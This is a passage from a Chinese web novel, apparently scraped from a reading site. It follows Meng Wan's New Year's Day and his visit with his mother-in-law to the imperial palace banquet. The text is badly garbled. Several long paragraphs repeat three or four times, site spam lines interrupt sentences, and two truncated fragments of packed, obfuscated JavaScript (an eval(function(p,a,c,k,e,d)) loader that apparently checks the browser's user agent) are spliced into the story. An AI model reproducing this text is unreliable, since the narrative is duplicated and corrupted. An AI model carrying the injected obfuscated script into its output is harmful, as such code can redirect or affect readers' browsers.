楚辞早就习惯两个爹时不时给自己塞钱,他每月十两银子的月银都花不完,钱匣子攒了一个又一个。 俩人走后屋子里也没了别人,孟晚没骨头一样靠在宋亭舟身上,突然感叹道:“过了年我就二十九了,真是时节如流,光阴弹指间便飞速流逝了。”跟文化人待久了,他有时候也会说出两句文雅的话来。 宋亭舟手指拂过他鬓角的皮肤,眸子里黏黏糊糊的爱意像是一池暖泉,“如今的晚儿还是如当时三泉村初见一般。” 孟晚嘴角上翘,“阿砚就是随你,天天就知道看脸。” 宋亭舟不能接受这个污名,“我当时并非因为你的容貌才要娶你。” 孟晚这下连眼里都布满了笑意,“我懂,你的阿晚这么优秀,从里到外你都喜欢。” 宋亭舟也跟着笑了,他向来是内敛的,难得如此时这般朗声大笑。 常金花端了半筐的炒花生进来,踏进来一只脚又瞬间想缩回去,“你们俩可真是,孩子们进来再看见了。”她虽然语带嫌弃,但并不吃惊,想来也是习惯了。 但金阙紧跟着她进来,尚未看见什么就立即把脑袋给低了下去,“夫郎,怕是有违礼教,遭人非议。” 孟晚坐直身子,不同于宋亭舟骤然冷下来的神色,他脸上的笑意不减,像是不怎么在意似的,“金嬷嬷,在宋家,家主就是规矩。礼教建立在绝对权威之上,皇权凌驾天下众人之上,但也管不到人家里事。在宋家,我想怎么样就怎么样。” 金阙从未听说过这么离经叛道的论调,下意识就去看宋亭舟的脸色,却见对方正冷冷的看着她。 金阙肩头微不可察地抖了一下,“奴婢懂了。” 孟晚脑子转的快,有时候还会记牌,楚辞也打的颇为精通,常金花和阿寻好像给他们俩凑数的,只管一味的输钱。 常金花本就紧张明日入宫的事,越打越不是心思,干脆下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟晚坐直身子,不同于宋亭舟骤然冷下来的神色,他脸上的笑意不减,像是不怎么在意似的,“金嬷嬷,在宋家,家主就是规矩。礼教建立在绝对权威之上,皇权凌驾天下众人之上,但也管不到人家里事。在宋家,我想怎么样就怎么样。” 金阙从未听说过这么离经叛道的论调,下意识就去看宋亭舟的脸色,却见对方正冷冷的看着她。 金阙肩头微不可察地抖了一下,“奴婢懂了。” 孟晚脑子转的快,有时候还会记牌,楚辞也打的颇为精通,常金花和阿寻好像给他们俩凑数的,只管一味的输钱。 常金花本就紧张明日入宫的事,越打越不是心思,干脆下了桌,“大郎你来,娘去给你们炒花生。” 宋亭舟记忆力更是没话说,像是开了挂,这下子轮到阿寻开始愁眉苦脸了,然后楚辞开始暗戳戳的给他放牌,在他坐庄的时候偷偷放水。 “现在才几时啊?今晚玉河边上有歌舞,你俩干脆出去逛逛吧?”孟晚提议道。 “啊?”阿寻迟疑的望向楚辞,“要去吗?” 楚辞在他视线转过来的时候就已经起身了,还将阿寻毛茸茸的斗篷给拿在手里,等着对方穿好鞋子。 宋亭舟本就坐在炕边,他从自己怀里摸出了个荷包扔给楚辞,“想买什么就买,不用给我们省。” 楚辞早就习惯两个爹时不时给自己塞钱,他每月十两银子的月银都花不完,钱匣子攒了一个又一个。 俩人走后屋子里也没了别人,孟晚没骨头一样靠在宋亭舟身上,突然感叹道:“过了年我就二十九了,真是时节如流,光阴弹指间便飞速流逝了。”跟文化人待久了,他有时候也会说出两句文雅的话来。 宋亭舟手指拂过他鬓角的皮肤,眸子里黏黏糊糊的爱意像是一池暖泉,“如今的晚儿还是如当时三泉村初见一般。” 孟晚嘴角上翘,“阿砚就是随你,天天就知道看脸。” 宋亭舟不能接受这个污名,“我当时并非因为你的容貌才要娶你。” 孟晚这下连眼里都布满了笑意,“我懂,你的阿晚这么优秀,从里到外你都喜欢。” 宋亭舟也跟着笑了,他向来是内敛的,难得如此时这般朗声大笑。 常金花端了半筐的炒花生进来,踏进来一只脚又瞬间想缩回去,“你们俩可真是,孩子们进来再看见了。”她虽然语带嫌弃,但并不吃惊,想来也是习惯了。 但金阙紧跟着她进来,尚未看见什么就立即把脑袋给低了下去,“夫郎,怕是有违礼教,遭人非议。” 孟晚坐直身子,不同于宋亭舟骤然冷下来的神色,他脸上的笑意不减,像是不怎么在意似的,“金嬷嬷,在宋家,家主就是规矩。礼教建立在绝对权威之上,皇权凌驾天下众人之上,但也管不到人家里事。在宋家,我想怎么样就怎么样。” 金阙从未听说过这么离经叛道的论调,下意识就去看宋亭舟的脸色,却见对方正冷冷的看着她。 金阙肩头微不可察地抖了一下,“奴婢懂了。” 孟晚脑子转的快,有时候还会记牌,楚辞也打的颇为精通,常金花和阿寻好像给他们俩凑数的,只管一味的输钱。 常金花本就紧张明日入宫的事,越打越不是心思,干脆下了桌,“大郎你来,娘去给你们炒花生。” 宋亭舟记忆力更是没话说,像是开了挂,这下子轮到阿寻开始愁眉苦脸了,然后楚辞开始暗戳戳的给他放牌,在他坐庄的时候偷偷放水。 “现在才几时啊?今晚玉河边上有歌舞,你俩干脆出去逛逛吧?”孟晚提议道。 “啊?”阿寻迟疑的望向楚辞,“要去吗?” 楚辞在他视线转过来的时候就已经起身了,还将阿寻毛茸茸的斗篷给拿在手里,等着对方穿好鞋子。 宋亭舟本就坐在炕边,他从自己怀里摸出了个荷包扔给楚辞,“想买什么就买,不用给我们省。” 楚辞早就习惯两个爹时不时给自己塞钱,他每月十两银子的月银都花不完,钱匣子攒了一个又一个。 俩人走后屋子里也没了别人,孟晚没骨头一样靠在宋亭舟身上,突然感叹道:“过了年我就二十九了,真是时节如流,光阴弹指间便飞速流逝了。”跟文化人待久了,他有时候也会说出两句文雅的话来。 宋亭舟手指拂过他鬓角的皮肤,眸子里黏黏糊糊的爱意像是一池暖泉,“如今的晚儿还是如当时三泉村初见一般。” 孟晚嘴角上翘,“阿砚就是随你,天天就知道看脸。” 宋亭舟不能接受这个污名,“我当时并非因为你的容貌才要娶你。” 孟晚这下连眼里都布满了笑意,“我懂,你的阿晚这么优秀,从里到外你都喜欢。” 宋亭舟也跟着笑了,他向来是内敛的,难得如此时这般朗声大笑。 常金花端了半筐的炒花生进来,踏进来一只脚又瞬间想缩回去,“你们俩可真是,孩子们进来再看见了。”她虽然语带嫌弃,但并不吃惊,想来也是习惯了。 但金阙紧跟着她进来,尚未看见什么就立即把脑袋给低了下去,“夫郎,怕是有违礼教,遭人非议。” 孟晚坐直身子,不同于宋亭舟骤然冷下来的神色,他脸上的笑意不减,像是不怎么在意似的,“金嬷嬷,在宋家,家主就是规矩。礼教建立在绝对权威之上,皇权凌驾天下众人之上,但也管不到人家里事。在宋家,我想怎么样就怎么样。” 金阙从未听说过这么离经叛道的论调,下意识就去看宋亭舟的脸色,却见对方正冷冷的看着她。 金阙肩头微不可察地抖了一下,“奴婢懂了。” 第19章 正旦宴 昨晚守夜孟晚都不知道自己什么时候睡着的,早上醒来已经在他和宋亭舟卧房的床上了。 身边的床铺是凉的,宋亭舟已经走了有一阵,甚至可能将他抱回来就换上朝服入宫,去参加正旦朝贺仪。 孟晚躺在舒舒服服的被窝里,有些心疼宋亭舟,这么大冷的天还要进宫给人磕头去,规规矩矩一板一眼,还不知道要磕几个。 他半撑起身子看向床外矮柜上的羊绒护膝,已经被人取走了。 孟晚舒了口气,戴上了就好。 初一应该早起给长辈拜年,但他家规矩没有那么森严,昨天睡得太晚了,孟晚还想再躺一会儿。 他刚钻回被窝,盖上被子,眼睛一闭脑海中突然闪过一丝什么。 把胳膊伸出往他和宋亭舟的枕头中间摸去,果然摸到一支长条形状的盒子,是孟晚喜欢的黄梨花木。 盒子是抽取的,孟晚缓缓拉开,里面是一支通体纯白的玉簪,细看下又泛着淡淡的乳黄色,用手触摸时有种在抚摸羊油般的细腻感觉,滑溜溜的。 簪身很寻常,甚至能看出打磨过的痕迹,簪头是孟晚最熟悉的一团子祥云,配上这样水头优良的羊脂白玉更显圆润可爱。 但能看出这支簪子并没有宝光斋的簪子工艺精细,像是学徒做得,再小心仔细,对见多了珠宝首饰的人看也有瑕疵。 然而有时候,细小的瑕疵才是一种美,起码对孟晚来说是这样。 他把这支簪子放在胸口,阖上双目的时候仿佛又回到了三泉村的冬天。那天他第一次戴上宋亭舟送他的祥云发簪,与他对视的刹那,真真切切地听到了冰雪消融的声音。 厚重浑浊的土壤解了冻,试探性的从中冒出两颗小小的嫩芽,它们努力的、勇敢的伸出枝桠,相互触碰到了一起。 经历过风雨侵袭后,反而越缠越紧,越长越大,直到变成两棵参天大树。 幸运的——再也没有分开。 今天宋家的主人家高兴,给困顿在城门口的乞儿们发了馒头和姜汤。大年初一,一车车的粗面馒头往城门口拉,场面浩大。 也有人城里的混混掺和在其中,故意把脸抹花了去领馒头,结果一口咬下去半天没能咽进肚子,里面掺了太多的小麦麸皮子,恨不得能把人嗓子给拉出血来。 那人“呸”了一声,把手里的 馒头扔在地上,立即有乞儿哄抢着争来吃。 黄叶暗自把人都记住,等起哄的人都离开,城门外只剩下那些侥幸没被冻死的乞儿后,叫人将车上的棉衣卸了下来,一半是宋家的旧衣,还有一半是孟晚特意在布庄买的碎布头制成的棉衣。 “都小点声,别嚷嚷,一人一件不许抢,不然谁都没有,听见了吗?”黄叶小声说道。 “听……”那群乞儿麻木的眼中涌上一丝光芒,黄叶也不确定那是光还是泪水,总之他们都很听话,住了声,把馒头塞进自己破破烂烂的衣裳里,聚在黄叶面前眼巴巴的望着他。 太过贫困的老人和幼小的孩子可能没熬得过这个冬天,城外乞讨的都是半大的孩子,最大也只有十二三岁。 三十那天城门口还车水马龙,初一就已经没有什么人进出城了,便是有零星几个路过,也是行色匆匆。 黄叶把棉衣一件件的递到这些乞儿的手里,看他们领了衣裳迫不及待的穿在身上,有个小孩格外机灵,把棉衣和馒头抱在怀里就往外跑,生怕别人给抢了去,边跑还边回头,正巧对上了黄叶温柔的视线。 那小孩呆了呆,脚步也不自觉放缓了,遥遥的望着黄叶,直到对方发放完所有棉衣,乘车离开。 一回宋家,所有人都穿着新衣喜气洋洋,见黄叶回来纷纷过来拜年,“黄管家过年好,夫郎在发赏钱呢,就在正院堂屋呢,你快过去吧。” 孟晚是个相当大方的老板,他坐在堂屋里,身边枝繁枝茂一人拿着下人名单唱名,一个给人发赏钱。 “松山、松樵。” 候着的人群里头窜出两个十五六岁的小厮来,“来了。” 其中一个“扑通”一声跪在孟晚面前,“夫郎过年好,祝夫郎新春如意,福寿绵长。” 另一个被他的动作搞蒙了,也跪了下去,张张嘴,“夫郎过年好。” 孟晚乐了,松樵这小子机灵,“咱们家不兴动不动就下跪,起来接赏钱吧,劳作一年你们辛苦了。” 松山松樵穿着棕褐色的盘领新棉袄,起身上前从枝茂手里接荷包,松樵又嘴甜的给枝繁枝茂拜了个年。 “苇莺、云雀姐姐,到你们了……” 赏钱发了一小会儿,出城的人也都回来了,最后盘子里还剩了两个荷包。 孟晚给枝繁枝茂一人分了一个,又给他们 俩一人抓了一把银锞子,“忙活半天算是多给你们的辛苦费。” 那一把银锞子怎么也有三两,再加上夫郎给的赏钱,都快顶上他们半年的月钱了。 两人喜笑颜开,又同孟晚道贺了一遍,这才离开去街上玩。 昨天今天两天,家里的仆人串开了放假,他们俩昨天没出去,今天领了赏正好去添些首饰。 雪生从前两天开始就说什么也不要赏钱了,便是收下,也是给阿砚。黄叶的孟晚给他留着,银两比寻常下人多了两倍,还送了一支精致小巧的金钗,槿姑当场就给黄叶簪到发髻上了。 晌午宋亭舟仍没回来,家里吃了一顿便饭,而后就要开始准备入宫的装扮。 宋亭舟任三品官后,按照他的政绩是可以给母亲和夫郎分别请封诰命的,但他们回京还不到半年,不足在任一年以上方可请封诰命的条件,因此常金花和孟晚的穿着不得有半点逾越。 两人身穿的衣物不得有镶边,也不可在其上织金,腰间只能系普通棉丝带,玉佩、络子等饰物都不可以佩戴。 手镯不能戴,单手可戴一枚素戒。头上不得戴珠翠庆云冠及花钗冠,只能插两根素银钗,而且连珠、翠、金饰也要禁用。 孟晚琢磨着,不戴更好,免得被人比来比去,更是麻烦。 金阙又说:“夫郎当仔细,朝中三品以上官员之内眷皆有诰命在身,夫郎和老夫人只是暂且还未请封,虽说有诸多限制,但仍不可穿的太过寒酸。” 戴不能多戴就算了,穿的不能差了,不然那些高官夫人不知会不会背地里说三道四。 他就算不提醒,孟晚往日穿得也是布料极好的衣裳,为表对皇室的敬畏,又重新做了两身厚棉锦衣,外罩的斗篷不可用紫貂、银狐等贵重皮料,孟晚便买了两张次等狐皮,做了一棕一白两件斗篷。 常金花早早已经被金阙打扮完毕了,靛蓝色的棉衣中规中矩,头上的银钗也说不出毛病来。 拎着自己衣裳,孟不慌不忙的去屏风后换衣,他穿的是一身墨绿色长袄,说实话这个颜色比常金花身穿的还要显老气,可有孟晚的脸撑着,反应衬得他面白如雪,五官浓艳。 “时辰差不多了吧?走吧。”孟晚套上外罩的白狐皮斗篷,搀着常金花的胳膊出门。 “娘又没七老八十,不用你扶。” “这您就不知道了 吧,人家出门在外都是儿媳妇扶着婆母,一会儿你就看见了。” 今夜家里的大人都不在家,楚辞留在家照顾两个弟弟,雪生也在西院守着寸步不离。 蚩羽驾着马车,金阙和阿寻在车上等候。孟晚扶着常金花从马车上下来,自东华门排查后由宫侍领着入宫。 身前身后都是命妇,还都是有诰命在身的,夹在其中的常金花和孟晚尤其打眼。 常金花看着高耸的宫墙和四周庄严肃穆的氛围,腿肚子有些发软。孟晚跟在她身后排队,小声嘀咕道:“娘你不用紧张,还有比你更害怕的。” “真的?”常金花内心存疑,又不敢扭头去看,只眺望到她前面的人一个比一个有架势。 孟晚压着声音,确保后面的人只能听个声儿但听不真切,“保真,咱们后面有一个都快喘不上来气儿了。” 宋亭舟是三品官里职位最重要的,常金花和孟晚便排在二品诰命的后面,身后都是三品朝官的夫人夫郎或老娘。确实有位上了年岁的老妇,气喘如牛却声音浑厚,可见不是虚的,而是吓得。 随行的宫侍耳朵比寻常人灵敏,听着这婆媳二人的话不免引人发笑。三品第一排,那就是近来风头正盛的宋大人家眷了? 其夫郎长得倒是标致,说话也有趣。 女官在前拦住众人,手中捧着名册逐一核对诰命文书,常金花和孟晚没有诰命文书,但后宫的娘娘提前打过招呼,因此也没有太大问题。 身份核实过后,由核对的女官和其他宫侍带领众人穿过长长的宫道,行至后宫范围之内。 孟晚动作隐蔽的打量了两眼四周环境,晦暗的天色,高大的红色宫墙。脚步仿佛丈量、低垂着头提灯笼走路的宫侍们。 宫墙内外不见积雪,青石板上却还有刚凝结的薄霜,人踩上去发出咯吱轻响,除此之外再无杂声,干净到毫无人气。 “坤宁宫到了,诸位淑人、夫人、一品夫人,可入宫参见皇后娘娘和后宫各位娘娘们。”女官拦在最前面,脸上不见半分多余的表情,嘴角抿成一条紧绷的直线,声音平稳有力,让在场所有官员女眷都能听个一清二楚。 孟晚明显能感觉到,听完女官的话,他身后某位老夫人吸气的声音更大了,都担心她会不会晕厥过去。 里头太监挨个唱名,“宣一品夫人,户部尚书之妻朱氏进殿!” 孟晚在后面低头想,原来户部尚书的夫人姓朱啊?两家离得近,一会儿没人搭理可以找她说说话。 朱夫人性格直爽,让常金花和她交谈一二,免得太过紧张。 “宣顺天府尹之母常氏,其妻孟氏进殿!” 唱到他们的名字了,孟晚用手指戳了一下常金花后腰,她忙着躬身跟着宫侍往里走。 两人入了坤宁宫的大殿内后,先整理服饰以示恭敬,然后一板一眼的行了跪拜大礼,直到上首主位传来一道不疾不徐的声音,“免礼,平身。”后,两人才从地上起来。 “赐座吧。”皇后淡淡地吩咐道。 孟晚走了半天,终于能坐下了,便是不能在家似的躺着、松懈着,也比木头似的弯腰站着强。 常金花落座后肩胛也有一瞬间塌下来一些,但很快又挺了回去。 太监出去继续唱名的间隙,穿着袆衣礼服、头戴华贵九龙四凤冠的皇后娘娘语气清淡道:“委屈两位了,宋大人功绩卓越,内务府已经在备你二人的命妇冠服了。” 屁股还没坐热的孟晚又随着常金花站起来行礼,“多谢皇后娘娘惦念。” 还没做什么呢,孟晚已经开始觉得心累了。 但平日能接触后宫的机会确实不多,这次机会难得,再次坐在座位上后,孟晚开始不动声色的观察起来。 最上首的皇后娘娘是太子亲母,保养得宜,看起来年纪只有四十来岁,但眉宇间似乎笼罩着一股愁绪,莫名有种羸弱之感。 她下首开始分成两派,左侧是宫妃,右侧是王府命妇。 这么看的话,紧坐于皇后下首的美人就是贵妃娘娘了?定襄国公姓聂,聂贵妃是他最小的女儿,十六岁入宫,如今应该快到四十岁了,但她眉目舒淡,有种仙气飘飘的美感,脸上的妆容也清淡,看起来说是二十八也使得。 她下头的宫妃宫侍们看她的眼神有畏惧之色,可见其在后宫之势强盛,太子失踪后势头没准还压皇后一分。 皇后右侧坐的便是儿媳妇秦氏,也是秦艽的姐姐。太子妃模样端正,称不上出挑,但看着大气舒心。她可能也在关注孟晚,察觉到孟晚的视线后,回了一个浅淡的笑。 孟晚也回了一笑,随后便收敛起来不再乱看。 他不看人,有人看他,而且人数还不少。 孟晚察觉到也当作没看见,只管正襟危坐,心如止水。 等所有命妇都见过礼之后,皇后先起身离开,众人依次跟在身后,从坤宁宫再到太和殿去。 太和殿又分内外宫殿,皇上在正殿宴请朝臣,接受他国朝贡。 皇后则带领宫妃和命妇自内殿设宴,如此正叫内外有别。 孟晚在后面低头想,原来户部尚书的夫人姓朱啊?两家离得近,一会儿没人搭理可以找她说说话。 朱夫人性格直爽,让常金花和她交谈一二,免得太过紧张。 “宣顺天府尹之母常氏,其妻孟氏进殿!” 唱到他们的名字了,孟晚用手指戳了一下常金花后腰,她忙着躬身跟着宫侍往里走。 两人入了坤宁宫的大殿内后,先整理服饰以示恭敬,然后一板一眼的行了跪拜大礼,直到上首主位传来一道不疾不徐的声音,“免礼,平身。”后,两人才从地上起来。 “赐座吧。”皇后淡淡地吩咐道。 孟晚走了半天,终于能坐下了,便是不能在家似的躺着、松懈着,也比木头似的弯腰站着强。 常金花落座后肩胛也有一瞬间塌下来一些,但很快又挺了回去。 太监出去继续唱名的间隙,穿着袆衣礼服、头戴华贵九龙四凤冠的皇后娘娘语气清淡道:“委屈两位了,宋大人功绩卓越,内务府已经在备你二人的命妇冠服了。” 屁股还没坐热的孟晚又随着常金花站起来行礼,“多谢皇后娘娘惦念。” 还没做什么呢,孟晚已经开始觉得心累了。 但平日能接触后宫的机会确实不多,这次机会难得,再次坐在座位上后,孟晚开始不动声色的观察起来。 最上首的皇后娘娘是太子亲母,保养得宜,看起来年纪只有四十来岁,但眉宇间似乎笼罩着一股愁绪,莫名有种羸弱之感。 她下首开始分成两派,左侧是宫妃,右侧是王府命妇。 这么看的话,紧坐于皇后下首的美人就是贵妃娘娘了?定襄国公姓聂,聂贵妃是他最小的女儿,十六岁入宫,如今应该快到四十岁了,但她眉目舒淡,有种仙气飘飘的美感,脸上的妆容也清淡,看起来说是二十八也使得。 她下头的宫妃宫侍们看她的眼神有畏惧之色,可见其在后宫之势强盛,太子失踪后势头没准还压皇后一分。 皇后右侧坐的便是儿媳妇秦氏,也是秦艽的姐姐。太子妃模样端正,称不上出挑,但看着大气舒心。她可能也在关注孟晚,察觉到孟晚的视线后,回了一个浅淡的笑。 孟晚也回了一笑,随后便收敛起来不再乱看。 他不看人,有人看他,而且人数还不少。 孟晚察觉到也当作没看见,只管正襟危坐,心如止水。 等所有命妇都见过礼之后,皇后先起身离开,众人依次跟在身后,从坤宁宫再到太和殿去。 太和殿又分内外宫殿,皇上在正殿宴请朝臣,接受他国朝贡。 皇后则带领宫妃和命妇自内殿设宴,如此正叫内外有别。 孟晚在后面低头想,原来户部尚书的夫人姓朱啊?两家离得近,一会儿没人搭理可以找她说说话。 朱夫人性格直爽,让常金花和她交谈一二,免得太过紧张。 “宣顺天府尹之母常氏,其妻孟氏进殿!” 唱到他们的名字了,孟晚用手指戳了一下常金花后腰,她忙着躬身跟着宫侍往里走。 两人入了坤宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太和殿又分内外宫殿,皇上在正殿宴请朝臣,接受他国朝贡。 皇后则带领宫妃和命妇自内殿设宴,如此正叫内外有别。 孟晚在后面低头想,原来户部尚书的夫人姓朱啊?两家离得近,一会儿没人搭理可以找她说说话。 朱夫人性格直爽,让常金花和她交谈一二,免得太过紧张。 “宣顺天府尹之母常氏,其妻孟氏进殿!” 唱到他们的名字了,孟晚用手指戳了一下常金花后腰,她忙着躬身跟着宫侍往里走。 两人入了坤宁宫的大殿内后,先整理服饰以示恭敬,然后一板一眼的行了跪拜大礼,直到上首主位传来一道不疾不徐的声音,“免礼,平身。”后,两人才从地上起来。 “赐座吧。”皇后淡淡地吩咐道。 孟晚走了半天,终于能坐下了,便是不能在家似的躺着、松懈着,也比木头似的弯腰站着强。 常金花落座后肩胛也有一瞬间塌下来一些,但很快又挺了回去。 太监出去继续唱名的间隙,穿着袆衣礼服、头戴华贵九龙四凤冠的皇后娘娘语气清淡道:“委屈两位了,宋大人功绩卓越,内务府已经在备你二人的命妇冠服了。” 屁股还没坐热的孟晚又随着常金花站起来行礼,“多谢皇后娘娘惦念。” 还没做什么呢,孟晚已经开始觉得心累了。 但平日能接触后宫的机会确实不多,这次机会难得,再次坐在座位上后,孟晚开始不动声色的观察起来。 最上首的皇后娘娘是太子亲母,保养得宜,看起来年纪只有四十来岁,但眉宇间似乎笼罩着一股愁绪,莫名有种羸弱之感。 她下首开始分成两派,左侧是宫妃,右侧是王府命妇。 这么看的话,紧坐于皇后下首的美人就是贵妃娘娘了?定襄国公姓聂,聂贵妃是他最小的女儿,十六岁入宫,如今应该快到四十岁了,但她眉目舒淡,有种仙气飘飘的美感,脸上的妆容也清淡,看起来说是二十八也使得。 她下头的宫妃宫侍们看她的眼神有畏惧之色,可见其在后宫之势强盛,太子失踪后势头没准还压皇后一分。 皇后右侧坐的便是儿媳妇秦氏,也是秦艽的姐姐。太子妃模样端正,称不上出挑,但看着大气舒心。她可能也在关注孟晚,察觉到孟晚的视线后,回了一个浅淡的笑。 孟晚也回了一笑,随后便收敛起来不再乱看。 他不看人,有人看他,而且人数还不少。 孟晚察觉到也当作没看见,只管正襟危坐,心如止水。 等所有命妇都见过礼之后,皇后先起身离开,众人依次跟在身后,从坤宁宫再到太和殿去。 太和殿又分内外宫殿,皇上在正殿宴请朝臣,接受他国朝贡。 皇后则带领宫妃和命妇自内殿设宴,如此正叫内外有别。 孟晚在后面低头想,原来户部尚书的夫人姓朱啊?两家离得近,一会儿没人搭理可以找她说说话。 朱夫人性格直爽,让常金花和她交谈一二,免得太过紧张。 “宣顺天府尹之母常氏,其妻孟氏进殿!” 唱到他们的名字了,孟晚用手指戳了一下常金花后腰,她忙着躬身跟着宫侍往里走。 两人入了坤宁宫的大殿内后,先整理服饰以示恭敬,然后一板一眼的行了跪拜大礼,直到上首主位传来一道不疾不徐的声音,“免礼,平身。”后,两人才从地上起来。 “赐座吧。”皇后淡淡地吩咐道。 孟晚走了半天,终于能坐下了,便是不能在家似的躺着、松懈着,也比木头似的弯腰站着强。 常金花落座后肩胛也有一瞬间塌下来一些,但很快又挺了回去。 太监出去继续唱名的间隙,穿着袆衣礼服、头戴华贵九龙四凤冠的皇后娘娘语气清淡道:“委屈两位了,宋大人功绩卓越,内务府已经在备你二人的命妇冠服了。” 屁股还没坐热的孟晚又随着常金花站起来行礼,“多谢皇后娘娘惦念。” 还没做什么呢,孟晚已经开始觉得心累了。 但平日能接触后宫的机会确实不多,这次机会难得,再次坐在座位上后,孟晚开始不动声色的观察起来。 最上首的皇后娘娘是太子亲母,保养得宜,看起来年纪只有四十来岁,但眉宇间似乎笼罩着一股愁绪,莫名有种羸弱之感。 她下首开始分成两派,左侧是宫妃,右侧是王府命妇。 这么看的话,紧坐于皇后下首的美人就是贵妃娘娘了?定襄国公姓聂,聂贵妃是他最小的女儿,十六岁入宫,如今应该快到四十岁了,但她眉目舒淡,有种仙气飘飘的美感,脸上的妆容也清淡,看起来说是二十八也使得。 她下头的宫妃宫侍们看她的眼神有畏惧之色,可见其在后宫之势强盛,太子失踪后势头没准还压皇后一分。 皇后右侧坐的便是儿媳妇秦氏,也是秦艽的姐姐。太子妃模样端正,称不上出挑,但看着大气舒心。她可能也在关注孟晚,察觉到孟晚的视线后,回了一个浅淡的笑。 孟晚也回了一笑,随后便收敛起来不再乱看。 他不看人,有人看他,而且人数还不少。 孟晚察觉到也当作没看见,只管正襟危坐,心如止水。 等所有命妇都见过礼之后,皇后先起身离开,众人依次跟在身后,从坤宁宫再到太和殿去。 太和殿又分内外宫殿,皇上在正殿宴请朝臣,接受他国朝贡。 皇后则带领宫妃和命妇自内殿设宴,如此正叫内外有别。 第20章 比试 直到大家按照座位落座,众人才纷纷松懈了一些。孟晚和常金花坐在倒数第二桌,离上面的皇后、王妃、侯夫人们远远的。 “娘,能说话了。孟晚悄声对常金花说。 “咳咳。常金花轻轻的清了一下嗓子,这会儿有相熟的夫人已经开始交谈起来了。 内殿很大,虽然设有地龙和炭盆,却依旧能感觉到偶有寒风。 孟晚拢了拢身上的斗篷,低眉垂眸的看着面前桌面上的水果、点心、和冷食。 银制的餐具边缘刻着万寿无疆、吉祥如意等字样,字体端正,大小基本一致。这种手工艺品堪称独一无二,放到后世去卖定是天价。 银盘里的东西也很眼熟,正是西梧珍罐坊的荔枝和橘子,听说今年菠萝卖的也不错,但是桌上没有。 “你很能装嘛? 孟晚的视线从金黄色的地砖上移开,一脸茫然的望了过去,“你是? 罗霁宁要疯了,他冷笑着反问:“我是谁你不知道? 孟晚看他的一身命妇的装扮,做恍然大悟状,“哦,我知道了,你是京卫指挥使通知的夫郎。从三品的京官就这么几个,大家一猜就知道对方是谁。 “狗!罗霁宁刚要暴起,但略高的声音就引起旁人注意,聂贵妃一双凤眼瞥过来凉凉的看了他一眼,罗霁宁瞬间失了声。 等聂贵妃的视线移开,他才嘴唇微动,从其中传来微不可察的怒骂,“狗屁的夫郎! 孟晚目不斜视,眼睛不是盯着地上的金砖,就是观察上菜的宫娥。 “喂,你……到底是不是?罗霁宁不死心的问。 冷盘上完了上热菜,孟晚不吭声,只看菜品,心不在焉的算时间。 太和殿中的皇上开始用膳了,后面皇后才会宣布开席用膳。 罗霁宁还想骂脏话,但他还没气昏头到在宫宴上失了分寸,刚才已经有相近的人看他了,只是他现在是武将的夫郎,所以只是眼神中嘲笑。 罗霁宁眼睛观察着聂贵妃的方向,口中还是不甘心的问道:“你当时为什 么骗我? 他因为香皂的事给廉王赚了一大笔钱,在他面前颇为得脸,因此也知道了后来孟晚和夏垣一起去吉婆岛的事,甚至听到了夏垣对孟 听说看这本书的人都是很幸运的,分享后你的运气会更棒 晚极高的评价。 珍罐坊真的是他建的,甚至连糖坊都是他的,轰动整个南地驿站不就是顺丰吗! **,孟晚竟然一直在耍他! 为什么啊?他要是早点和自己联手,他能沦落到被逼嫁人的地步? 要不是他还有点用处,费大劲儿使了手段,现在他就是廉王府的侍妾! 没错,他的身份连个侧君的位置都坐不上。 啊呸,别说是侧君,王妃给他他稀罕吗? 任罗霁宁脸上的表情五彩纷呈,孟晚都没搭理他,他心里有事,暂且没空去理会罗霁宁。 再说句狠点的,孟晚应该把如此张扬的罗霁宁“做掉”,如此这世间便再也无人能猜到他是异界之人了。 这个想法一直在他心中存留,一时半会压不下去,又做不出来,**对他来说,还是有点超纲。 最好的解决办法就是,廉王倒台后,罗霁宁被牵连而死。 所以别说相认了,罗霁宁在孟晚眼里基本是个**。 两人的座位中间还隔着一位老夫人,年岁已经不小了,装聋作哑的姿态做得是炉火纯青,但罗霁宁注意到她耳朵支得老高。 算了,等他忙完手里的事,肯定要杀到宋家去问个明白。 孟晚耳根清净了一段时间,等到了宫侍从正殿过来,皇后宣布宴席开始,众人起身端起酒盏举杯恭贺皇后与诸位娘娘。 宫宴上虽然都是珍馐美馔,宫廷御厨顶着做不好就要掉脑袋的心思用心制作每道菜肴,种种美食在金盘玉碗中交错,犹如一道道艺术品。 可孟晚是真的吃不进去,天寒地冻的,又为了保持菜品鲜美,不吃一嘴冰碴子就好了。 他侧眼望去,大家都在意思意思,只有常金花和户部尚书之妻在实实在在的吃东西。 “娘,少吃点,省的拉肚子。”孟晚悄声提醒常金花。 常金花也不知道该怎么办,就一直按照金阙教的在用膳,半天都没敢抬头了,这会儿听到孟晚的话,便小心翼翼的放下筷子,也不敢回应,只是轻微的点了点头。 她吃了一肚子凉,确实有点不舒服。 宴席过半,正殿的宫侍突然疾步过来,在皇后耳畔耳语。 这一幕内殿所有人都看到了,孟晚心中一紧,难道是乐正崎动手 你的朋友正在书荒,快去帮帮他吧 了? “顺天府尹夫郎是哪位?皇后突然说了句。 孟晚忙站起来,走至内殿中央行礼,“皇后娘娘万安,臣下便是顺天府尹夫郎孟氏。 内殿这么多官夫人,夫郎却只有三位,年轻的也就只有孟晚和罗霁宁。剩下都是老太太,有的甚至比常金花年纪还大。 整个禹国朝廷,三十二岁就取得宋亭舟这么高位置的,无一。 刚才在坤宁宫面见皇后都是低头行礼,皇后还是头次见孟晚正脸,她眼见漫出淡淡的笑意,“原来宋大人夫郎是这般样貌绝伦,听说你是项芸弟子,画技绝伦,陛下宣你到正殿作画,当着外邦使臣的面,可不要丢了禹国脸面。 虽然此事突然,不在孟晚预料之内,但他已经猜到今日宫宴不会太平,因此也不算手足无措。 